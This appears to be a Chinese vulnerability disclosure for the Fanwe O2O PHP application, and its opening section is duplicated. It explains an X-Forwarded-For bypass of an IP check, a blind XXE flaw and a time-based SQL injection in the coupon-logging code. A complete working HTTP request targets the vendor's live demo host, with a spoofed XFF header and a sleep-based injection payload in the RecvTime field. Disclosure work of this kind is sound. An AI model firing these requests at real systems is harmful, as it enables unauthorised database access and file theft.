### 简要描述: RT ### 详细说明: 方维O2O,demo站点地址:http://o2odemo.fanwe.net/ /cpapi/qxtapi.php ``` define("FILE_PATH","/cpapi"); require_once '../system/system_init.php'; $ip = CLIENT_IP; $xml = file_get_contents('php://input'); if($ip!='221.179.180.156' || $xml=="") { header("Content-Type:text/html; charset=utf-8"); echo "·Ç·¨·ÃÎÊ"; exit; } $xml = str_replace(array("/r/n", "/r", "/n"), "", $xml); $xml_arr = simplexml_load_string($xml); ``` 如上代码。IP验证是可以用XFF绕过的,后面直接调用simplexml_load_string解析POST字符串,造成XXE实体注入。 因为后面没有输出,所以这里是一个“盲注”,Blind XXE。测试了官方demo,但数据包没有发出来,可能是很多原因吧(是否支持外网、是否底层限制XML实体等),反正我本地是成功了的。 这边读到文件通过base64传给我的web日志: [<img src="https://images.seebug.org/upload/201506/24192550eb334485cc3ec3e2d4af703e3dad0111.png" alt="QQ20150621-1@2x.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201506/24192550eb334485cc3ec3e2d4af703e3dad0111.png) 这不是重点。 继续看后面的代码,SQL注入是重点: ``` $xml_arr = simplexml_load_string($xml); $SrcMobile = $xml_arr->Body->Message->SrcMobile;...
### 简要描述: RT ### 详细说明: 方维O2O,demo站点地址:http://o2odemo.fanwe.net/ /cpapi/qxtapi.php ``` define("FILE_PATH","/cpapi"); require_once '../system/system_init.php'; $ip = CLIENT_IP; $xml = file_get_contents('php://input'); if($ip!='221.179.180.156' || $xml=="") { header("Content-Type:text/html; charset=utf-8"); echo "·Ç·¨·ÃÎÊ"; exit; } $xml = str_replace(array("/r/n", "/r", "/n"), "", $xml); $xml_arr = simplexml_load_string($xml); ``` 如上代码。IP验证是可以用XFF绕过的,后面直接调用simplexml_load_string解析POST字符串,造成XXE实体注入。 因为后面没有输出,所以这里是一个“盲注”,Blind XXE。测试了官方demo,但数据包没有发出来,可能是很多原因吧(是否支持外网、是否底层限制XML实体等),反正我本地是成功了的。 这边读到文件通过base64传给我的web日志: [<img src="https://images.seebug.org/upload/201506/24192550eb334485cc3ec3e2d4af703e3dad0111.png" alt="QQ20150621-1@2x.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201506/24192550eb334485cc3ec3e2d4af703e3dad0111.png) 这不是重点。 继续看后面的代码,SQL注入是重点: ``` $xml_arr = simplexml_load_string($xml); $SrcMobile = $xml_arr->Body->Message->SrcMobile; $Content = $xml_arr->Body->Message->Content; $RecvTime = $xml_arr->Body->Message->RecvTime; $arr = explode("-",$Content); $prefix = $arr[0]; if($prefix!='u'&&$prefix!='v') { if(log_coupon("","短信内容:".$Content,$RecvTime)&&$SrcMobile) { $msg_data['dest'] = $SrcMobile; $msg_data['send_type'] = 0; $msg_data['content'] = "短信格式错误"; $msg_data['send_time'] = 0; $msg_data['is_send'] = 0; $msg_data['create_time'] = NOW_TIME; $msg_data['user_id'] = 0; $msg_data['is_html'] = 0; $GLOBALS['db']->autoExecute(DB_PREFIX."deal_msg_list",$msg_data); //插入 echo "ok"; exit; } } ``` 可见从xml里读取的内容,传入了log_coupon函数,跟进看看: ``` function log_coupon($coupon_sn,$msg,$query_id = '') { $data = array(); $data['coupon_sn'] = $coupon_sn; $data['msg'] = $msg; $data['query_id'] = $query_id; $data['create_time'] = NOW_TIME; if($GLOBALS['db']->getOne("select count(*) from ".DB_PREFIX."coupon_log where query_id = '".$query_id."'")==0) { $GLOBALS['db']->autoExecute(DB_PREFIX."coupon_log",$data); //插入 return true; } else { return false; } } ``` 可见query_id(也就是XML里的RecvTime)直接带入SQL语句。 这个demo站可以演示了,延时注入。POST如下数据包: ``` POST /cpapi/qxtapi.php HTTP/1.1 Host: o2odemo.fanwe.net Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type:application/x-www-form-urlencoded Content-Length: 147 X-FORWARDED-FOR: 221.179.180.156 <aaaa> <Body> <Message> <SrcMobile>13322221111</SrcMobile> <Content>123123</Content> <RecvTime>0'|sleep(5)#</RecvTime> </Message> </Body> </aaaa> ``` 即可看见延迟了5秒才出结果。 写了个脚本跑一下数据库用户名。见测试代码。 ### 漏洞证明: [<img src="https://images.seebug.org/upload/201506/24193009380ef86d1eb99a34d33d2256118fbe5b.png" alt="QQ20150621-3@2x.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201506/24193009380ef86d1eb99a34d33d2256118fbe5b.png) [<img src="https://images.seebug.org/upload/201506/241930288d15c1fad030dfed674fb5a3203da5ce.png" alt="QQ20150621-2@2x.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201506/241930288d15c1fad030dfed674fb5a3203da5ce.png)